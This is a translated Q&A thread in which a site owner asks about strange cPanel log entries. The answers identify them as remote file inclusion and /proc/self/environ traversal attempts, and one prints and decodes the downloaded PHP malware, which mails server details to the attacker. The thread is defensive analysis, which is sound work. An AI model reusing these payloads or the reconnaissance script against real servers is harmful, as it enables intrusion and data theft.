我对 Web 开发还很陌生,对安全性有一些疑问。
我每天都会查看 CPanel 中的“最新访客”,今天出现了一些奇怪的条目(下面粘贴了一个)。
我不知道还有什么更好的办法,但我觉得好像有些网站出于某种原因将用户引荐到我的网站。有人能解释一下这些到底是什么吗,以及这是否值得关注?谢谢!
Host: 77.68.38.175
/?p=http://teen-37.net/myid.jpg?
Http Code: 404 Date: Feb 17 08:13:58 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.805 *
/?p=../../../../../../../../../../../../../../../proc/self/environ%00
Http Code: 404 Date: Feb 17 08:13:59 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.805
答案1
简短回答:
有人正在攻击你。
长答案:
有人使用带有 LWP 模块的 Perl 脚本来充当 Web 浏览器,并向您的服务器请求奇怪的 URL,使其执行危险操作。这可能是自动攻击,也可能是有人手动执行的。
第二项是试图让您的服务器在网站中包含 ../../../../../../../../../../../../../../../proc/self/environ,这意味着多次转到父目录(因此可能以根目录结束)并显示 /proc/self/environ,在 Linux 中显示您的进程的环境变量,这可以为攻击者提供一些有用的信息。更新:它不仅可以获取信息,还可以探测本地文件包含漏洞,您可以通过将 PHP 代码放入 User-Agent HTTP Header 中,然后在页面中包含 /proc/self/environ 来运行任意代码。(感谢 aaz 指出这一点。)
第一条记录更有趣,因为它显然试图让你的服务器下载攻击者的代码并让你的服务器运行它。这是我下载后得到的结果http://teen-37.net/myid.jpg- 它不是 JPEG 图像,而是 PHP 脚本:
<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "B"."a"."M"."b"."Y"."<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]";
echo "<center><A class=ria href=\"http://".$OS."\">";echo "B"."a"."M"."b"."Y</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("JGNyZWF0b3IgPSBiYXNlNjRfZGVjb2RlKCJiWGxwWkhOallXNUFaMjFoYVd3dVkyOXQiKTsKKCRzYWZlX21vZGUpPygkc2FmZW1vZGU9Ik9OIik6KCRzYWZlbW9kZT0iT0ZGIik7CiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IAokbmFtZSA9IHBocF91bmFtZSgpOwokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7CiRob3N0ID0gZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOwokc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgCiRtc2cgPSAiXG5CQVNFOiAkYmFzZVxudW5hbWUgLWE6ICRuYW1lXG5JUDogJGlwXG5Ib3N0OiAkaG9zdFxuJHB3ZHNcbiI7CiRmcm9tID0iRnJvbTogTU9ERV89Ii4kc2FmZW1vZGUuIjx0b29sQCIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI+IjsKbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7"));
die("<center> ByroeNet </center>");
?>
最后一部分 - eval(base64_decode("...")); - 显然试图隐藏它在做什么,但你可以对其进行解码,你会得到这样的结果:
$creator = base64_decode("bXlpZHNjYW5AZ21haWwuY29t");
($safe_mode)?($safemode="ON"):($safemode="OFF");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname();
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST'];
$msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n";
$from ="From: MODE_=".$safemode."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator, $subj, $msg, $from);
现在,当您解码“bXlpZHNjYW5AZ21haWwuY29t”时,您将获得电子邮件地址。
我们现在知道有人试图让您的服务器做什么——发送包含有关您的服务器的一些信息的电子邮件。
现在,您已经知道了攻击服务器的 IP,该服务器可能知道也可能不知道自己正在发起攻击 - 77.68.38.175 似乎是 server77-68-38-175.live-servers.net - 以及攻击者的电子邮件,该电子邮件必须不时用于收集数据,同时还包含托管恶意代码的域。
在 whois 数据库中搜索 teen-37.net(托管恶意代码)、77.68.38.175 IP 地址(攻击您的服务器)和 123.30.181.39 IP 地址(teen-37.net 的 IP),以获取负责举报滥用行为的人员的联系信息。
另外,通过谷歌搜索 teen-37.net 和恶意脚本的一些随机部分可能会给你带来更多有趣的信息。
现在,从 404 响应代码我们可以假设这两次特定的攻击没有起作用,但你不能确定,因为理论上当攻击者控制你的服务器时,他可以在完成他想做的事情后用 404 响应自己。
祝你好运。
答案2
在第一个例子中,有人试图将自己的内容添加到您的网站中。如果您$_GET['p']
做了一个天真的include()
或愚蠢file_get_contents()
的调用,那么这种情况就可能发生。第二个例子也是如此,尽管那个例子是为了检索有关系统环境的信息。
答案3
不。两个示例日志条目中的“referer”字段都是空的。在这种情况下,要么用户直接访问了该网站,要么他们的浏览器根本没有提供产生此信息的 referer 标头。
在这种情况下,涉及的浏览器或“用户代理”是 libwww-perl,因此似乎是用 perl 编写的一些工具正在发出请求。
从第二个 URL 来看,这似乎是对您的 Web 服务器的一次入侵尝试。这在互联网上很常见,只要您的 Web 服务器是最新的,就不会有任何问题。
答案4
?p=../../../../../../../../../../../../../../../proc/self/environ
这是在尝试探测你的系统进程。无论你做什么,确保清理你的变量。检查类似这样的查询,因为如果将其注入到错误的脚本中,您将需要进行大量修复。